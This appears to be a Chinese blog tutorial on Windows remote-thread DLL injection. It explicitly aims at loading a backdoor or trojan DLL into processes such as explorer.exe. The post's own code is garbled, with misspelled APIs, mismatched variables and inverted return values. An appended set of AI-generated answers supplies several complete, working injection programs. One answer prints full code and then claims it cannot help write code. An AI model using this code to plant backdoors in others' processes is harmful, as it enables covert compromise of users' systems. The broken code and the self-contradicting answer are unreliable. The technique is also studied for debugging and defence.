远程线程注入技术(1)之DLL的注入

如何创建一个远程线程呢?微软给我们提供了GreateRemotoThread函数:

 

HANDLE CreateRemotoThread( 

HANDLE hProcess ,  // 要创建远程线程的进程句柄

LPSECURITY_ATTRIBUTES lpThreadAttributes , // 用于定义新线程         的安全属性,设为NULL即可

SZIE_T dwStackSize , // 初始化堆栈大小,NULL为默认值

LPTHREAD_STAET_ROUTINE lpStartAddress , // 线程开始的函数地址

LPVOID lpParamenter , // 线程函数参数

DWORD dwCreationFlags , // 表示线程创建后线程的运行状态

LPDWORD lpThreadId // 返回线程Id,如果传NULL 则不返回

 

这个函数时CreateThread函数的扩充,多了一个参数hProcess ,此参数指向了要创建新线程的进程句柄。还有几个重要参数也要说明一下:

lpStartAddress 它所指向的的线程函数地址并不是自身进程地址空间中的函数地址,而是要在目标进程中的函数地址。我们不正面来解决这个问题,而是绕过。以上内容先在我们的脑中入栈保存下来,下面先学一下一个函数LoadLibrary,实际上它是一个宏,其原型如下:

HANDLE WINAPI LoadLibray( LPCTSTR lpszLibraryName ) ;这个函数用来加载DLL。因为这个函数只有一个参数而且返回值的大小与线程函数 DWORD WINAPI  Thread( LPVOID lpParam ) 一样。我们可以把这个函数作为一个线程函数,作为CreateRemotoThread的参数传入,用于在目标进程中开启新线程,用于导入具有后门功能的DLL文件。因为DLL被加载时会执行DLLMain中的代码,所以我们只要在DLLMain中写入我们的后门代码即可,当远程线程启动,LoadLibrary加载我们的后门DLL文件时,我们的后门代码就执行了。

那么这个LoadLibrary函数如何导入到目标进程的地址空间从而我们才能得到它在目标进程中的地址呢?实际上,LoadLibrary函数在KERNEL32.DLL中,而我们的每个程序的执行都需要导入这个DLL才行,所以目标进程启动,我们的LoadLibrary也就导入到了目标进程的地址空间中,我们也就不需要再把这个函数写入到目标进程的地址空间了,简单绕过了这个问题。但是lpStartAddress是指向线程地址的,我们又如何知道这个地址呢?其实我们只要知道自身进程中的LoadLibrary的地址就行了,因为KERNEL32.DLL是系统DLL,不同进程中的同一个函数是相同的,所以自身进程的LoadLibrary的地址也是相同的。获取这个函数的地址代码如下:

 

PTHREAD START_ROUTIN pfnStartAddr =( PTHREAD_START_ROUTIN)

GetProcAddress( GetModuleHandle(TEXT(kernel32) ) , LoadLibraryA) ;

 

其中函数GetModuleHandle用于获取一个应用程序或动态链接库的某模块句柄,它只有一个参数,此参数指向一个模块的文件名,函数调用成功,则返回该模块的句柄,否则返回

此时还有一个问题需要我们解决,CreateRemotoThread函数的参数lpParameter参数指向线程函数的参数,这个参数就是LoadLibrary这个线程函数的参数,表示一个DLL文件的路径。此参数也是要存在于目标进程的内存中的,那么如何处理这个问题呢?我们可以通过写入到内存的方法解决。

在写入内存之前我们首先需要在目标进程中分配内存空间,利用VirtualAllocEx函数来实现,此函数的原型如下:

 

LPVOID VirtualAllocEx( 

HANDLE hProcess // 指向要申请内存空间的目标进程句柄

LPVOID lpAddress ,  //指向要申请内存空间的目标地址,一般设为0

SZIE_T dwSize , // 指向了要申请的内存空间的大小

DWORD flAllocationType , // 内存空间的属性,这里传递PAGE_READWRITE可读写即可

DWORD flProtect ) ;

 

如果函数调用成功则返回申请的内存空间的首地址。申请了内存之后就可以向此内存写入木马DLL路径的字符串了。要实现这一过程需要使用函数WriteProcessMemory函数,这个函数原型如下:

 

BOOL WriteProcessMemory( 

HANDLE hProcess ,  // 指向要写入内存进程的进程句柄

LPVOID lpBaseAddress , // 表示要写入内存的起始地址,由VirtualAllocEx函数返回

LPVOID lpBuffer // 指向了了要写入数据的缓冲区

DWORD nSize , // 表示要写入的字节数

LPDWORD lpNumberOfBytesWritten // 实际写入的字节数

) ; 

 

写入成功返回TRUE ,否则返回FALSE

远程线程的主要技术解决了,现在看看我们编程实现的具体流程图:

首先是第一步,提升后门自身的权限,这里要把后门的自身权限调整为调试权限。这一步其实是为第二步服务的,加入我们要注入的是系统进程,如果没有第一步,当你调用OpenProcess的时候就会返回NULL

下面就开始写注入进程的函数了,代码如下:

 

BOOL InjectDll( const char * DllFullPath , char DWORD dwRemotoProcesssId )

{

HANDLE hRemotoProcess ;

// 获得调试权限

if( EnableDebugPriv( SE_DEBUG_NAME ) )

{

   printf(Add Privilege error ! ) ;

   return FALSE ;

}

 

//打开目标进程 

If( hRemotoProcess=OpenProcess( PROCESS_ALL_ACCESS .FALSE,

dwRemoteProcessId) ) == NULL )

{

    Printf(OpenProcess error! ) ;

    Return false ;

}

 

// 申请存放DLL文件名的路径

char * pszLibFileRemote = (char*)VirtualAllocEx( hRemoteProcess ,

NULL , strlen( DllFullPath) + 1 , MEM_COMMIT , PAGE_READWRITE) ;

 

If( pszLibFileRemote == NULL )

   printf( VirtuallAllocEx error  ) ;

   return FALSE ;

}

 

// DLL的完整路径写入到内存

if( WriteProcessMemory( hRemoteProcess , pszLibFileRemote , (void*)DllFullPath , strlen( DllFullPath) + 1 , NULL ) == 0 )

{

    printf( WriteProcessMeory Error ) ;

    Return  FALSE ;

}

 

// 得到LoadLibrary函数的地址

PTHREAD_START_ROUTIN pfnStartAddr = ( PTHREAD_START_ROUTIN)

GetProcAddress( GetModuleHandle(TEXT(Kernel32)) , LoadLibraryA ) ;

if( pfnStartAddress == NULL )

{

   printf( GetProcAddress error ) ;

   Return FALSE ;

}

 

// 启动远程线程

HANDLE hRemoteThread = CreateRemoteThread( hRemoteProcess , NULL , 0 , pfnStartAddr , pszLibFileRemote , 0 , NULL ) ) == NULL ) 

{

   Printf( CreateRemotoThread error ) ;

   Return FASLE ;
    }

Return FALSE ;

}

 

这个函数有两个参数,DllFullPath参数指向后门DLL全文件名,dwRemoteProcessId参数指向了需要插入进程的Id。此函数调用成功返回true,否则返回false.

现在还需要传递给这个函数一个进程ID,比如要注入explorer.exe进程,那么就需要传递给此函数explorer.exe进程的ID。不过每次启动explorer.exe时,它所对应的ID都是不一样的,那么就需要通过进程名来获取ID



  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 示例代码:#include <windows.h> #include <stdio.h> #include <tlhelp32.h> // 远程线程注入dll BOOL InjectDLL(DWORD dwPID, char *szDLLName); int main(int argc, char *argv[]) { printf("远程线程注入dll演示程序\n"); if (argc == 3) { DWORD dwPID = atoi(argv[1]); char *szDLLName = argv[2]; InjectDLL(dwPID, szDLLName); } else { printf("用法:InjectDLL.exe <PID> <DLLName>\n"); } return 0; } // 远程线程注入dll BOOL InjectDLL(DWORD dwPID, char *szDLLName) { HANDLE hProcess, hThread; LPVOID lpBaseAddress; LPTHREAD_START_ROUTINE lpStartAddress; DWORD dwSize, dwThreadId; char szPath[256]; char szBuffer[1024]; // 打开进程 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); if (hProcess == NULL) { printf("OpenProcess() Error: %d\n", GetLastError()); return FALSE; } // 获取DLL的完整路径 GetFullPathName(szDLLName, 256, szPath, NULL); // 在进程中申请虚拟内存 dwSize = strlen(szPath) + 1; lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (lpBaseAddress == NULL) { printf("VirtualAllocEx() Error: %d\n", GetLastError()); return FALSE; } // 将DLL路径写入到虚拟内存 int nBytesWritten; WriteProcessMemory(hProcess, lpBaseAddress, szPath, dwSize, &nBytesWritten); if (nBytesWritten != dwSize) { printf("WriteProcessMemory() Error: %d\n", GetLastError()); return FALSE; } // 加载Kernel32.dll HMODULE hKernel32 = GetModuleHandle("Kernel32"); if (hKernel32 == NULL) { printf("GetModuleHandle() Error: %d\n", GetLastError()); return FALSE; } // 获取LoadLibraryA函数地址 lpStartAddress = GetProcAddress(hKernel32, "LoadLibraryA"); if (lpStartAddress == NULL) { printf("GetProcAddress() Error: %d\n", GetLastError()); return FALSE; } // 创建远程线程 hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, lpBaseAddress, 0, &dwThreadId); if (hThread == NULL) { printf("CreateRemoteThread() Error: %d\n", GetLastError()); return FALSE; } // 等待远程线程结束 WaitForSingleObject(hThread, INFINITE); // 读取线程退出码 DWORD dwExitCode; GetExitCodeThread(hThread, &dwExitCode); if (dwExitCode == 0) { printf("LoadLibrary() Error: %d\n", GetLastError()); return FALSE; } // 关闭句柄 CloseHandle(hProcess); CloseHandle(hThread); return TRUE; }我不能帮助你编写代码,但是我可以提供一些参考资料,帮助你编写远程线程注入dll代码。 ### 回答2: 远程线程注入DLL是一种技术,用于在目标进程中注入自定义的动态链接库(DLL)并执行其中的代码。以下是一个使用C语言编写的远程线程注入DLL的代码示例: ```c #include <stdio.h> #include <stdlib.h> #include <windows.h> int main() { // 目标进程的进程ID DWORD pid = 1234; // 加载要注入DLL路径 char dllPath[] = "C:\\path_to_dll\\mydll.dll"; // 获取目标进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL) { printf("无法打开目标进程"); return -1; } // 在目标进程中为DLL路径分配内存 LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, sizeof(dllPath), MEM_COMMIT, PAGE_READWRITE); if (dllPathAddr == NULL) { printf("无法在目标进程中分配内存"); CloseHandle(hProcess); return -1; } // 在目标进程中写入DLL路径 if (!WriteProcessMemory(hProcess, dllPathAddr, dllPath, sizeof(dllPath), NULL)) { printf("无法写入DLL路径到目标进程"); VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE); CloseHandle(hProcess); return -1; } // 获取Kernel32.dll中LoadLibrary函数的地址 HMODULE kernel32 = GetModuleHandle("kernel32.dll"); FARPROC loadLibrary = GetProcAddress(kernel32, "LoadLibraryA"); // 创建远程线程在目标进程中执行LoadLibrary函数,将DLL路径作为参数 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibrary, dllPathAddr, 0, NULL); if (hThread == NULL) { printf("无法在目标进程中创建远程线程"); VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE); CloseHandle(hProcess); return -1; } // 等待远程线程执行结束 WaitForSingleObject(hThread, INFINITE); // 清理资源 VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); printf("远程线程注入DLL成功"); return 0; } ``` 这段代码首先通过`OpenProcess`函数打开目标进程,然后使用`VirtualAllocEx`在目标进程中为DLL路径分配内存,并使用`WriteProcessMemory`将DLL路径写入目标进程内存。接着,使用`GetModuleHandle`和`GetProcAddress`获取`LoadLibrary`函数的地址,然后使用`CreateRemoteThread`在目标进程中创建一个远程线程,让其执行`LoadLibrary`函数,将DLL路径作为参数传递给它。最后,使用`WaitForSingleObject`等待远程线程执行完毕,并释放之前分配的资源。 ### 回答3: 使用C语言编写远程线程注入DLL的代码可以通过以下步骤实现: 1. 首先,需要创建一个目标进程的句柄。可以使用`OpenProcess`函数来打开目标进程,并获得进程的句柄。 2. 接下来,需要在目标进程中分配一块内存空间,用于存储DLL的路径和名称。可以使用`VirtualAllocEx`函数在目标进程内部分配内存。 3. 在分配的内存空间中写入DLL的路径和名称。可以使用`WriteProcessMemory`函数DLL的路径和名称写入到目标进程的内存中。 4. 使用`GetProcAddress`函数获取`LoadLibraryA`函数的地址,该函数用于加载DLL。可以使用`GetModuleHandle`函数获取kernel32.dll的句柄,然后再调用`GetProcAddress`函数来获取`LoadLibraryA`函数的地址。 5. 使用`CreateRemoteThread`函数在目标进程中创建一个远程线程,将`LoadLibraryA`函数地址作为线程的入口点,将DLL的路径和名称作为线程的参数传递。这样,在目标进程中就会自动加载并执行DLL。 完整的代码示例如下: ```c #include <windows.h> int main() { // Step 1: 打开目标进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID); // Step 2: 分配内存空间 LPVOID lpRemoteBuffer = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Step 3: 写入DLL路径和名称 char dllPath[] = "C:\\path\\to\\dll.dll"; WriteProcessMemory(hProcess, lpRemoteBuffer, (LPVOID)dllPath, sizeof(dllPath), NULL); // Step 4: 获取LoadLibraryA函数地址 HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); FARPROC lpLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); // Step 5: 创建远程线程注入DLL HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadLibraryA, lpRemoteBuffer, 0, NULL); // 关闭句柄 CloseHandle(hThread); CloseHandle(hProcess); return 0; } ``` 以上就是使用C语言编写远程线程注入DLL的代码。请注意,使用远程线程注入DLL可能存在一些安全风险,请谨慎使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值